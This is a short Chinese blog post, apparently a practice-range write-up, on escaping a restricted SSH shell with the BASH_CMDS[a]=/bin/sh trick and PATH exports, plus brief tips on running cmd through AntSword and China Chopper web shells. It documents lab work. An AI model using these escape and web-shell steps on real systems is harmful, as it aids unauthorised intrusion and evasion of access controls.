今天的靶场登陆ssh后发现shell受限,如下
woami都执行不了,查看对应的bin目录,发现只能执行4个命令

在网上学到一招可以绕过这种受限制的被阉割的shell
BASH_CMDS[a]=/bin/sh;a #把/bin/bash给a变量
/bin/bash
echo $0 #查看脚本本身的名字
echo $? #命令执行结果反馈,0代表执行成功,其余数字表示不成功
export PATH=$PATH:/bin/ #将/bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin #将/usr/bin作为PATH环境变量导出
执行完上面加粗的四步之后就可以执行所有命令了
1.找到一处可上传文件的位置上传cmd

2.蚁剑可以自定义cmd的环境变量

使用菜刀同样上传cmd文件
设置cmd环境变量 终端输入 set cmd文件的物理地址
相关文章:
-
2021-04-27
-
2021-07-17
-
2022-12-23
-
2022-12-23
-
2021-10-29
-
2022-12-23
-
2022-12-23
猜你喜欢
-
2021-08-06
-
2022-12-23
-
2021-04-23
-
2022-12-23
-
2021-10-25
-
2022-12-23
-
2021-12-21
相关资源
-
下载
2023-02-17
-
下载
2023-02-14
-
下载
2023-02-14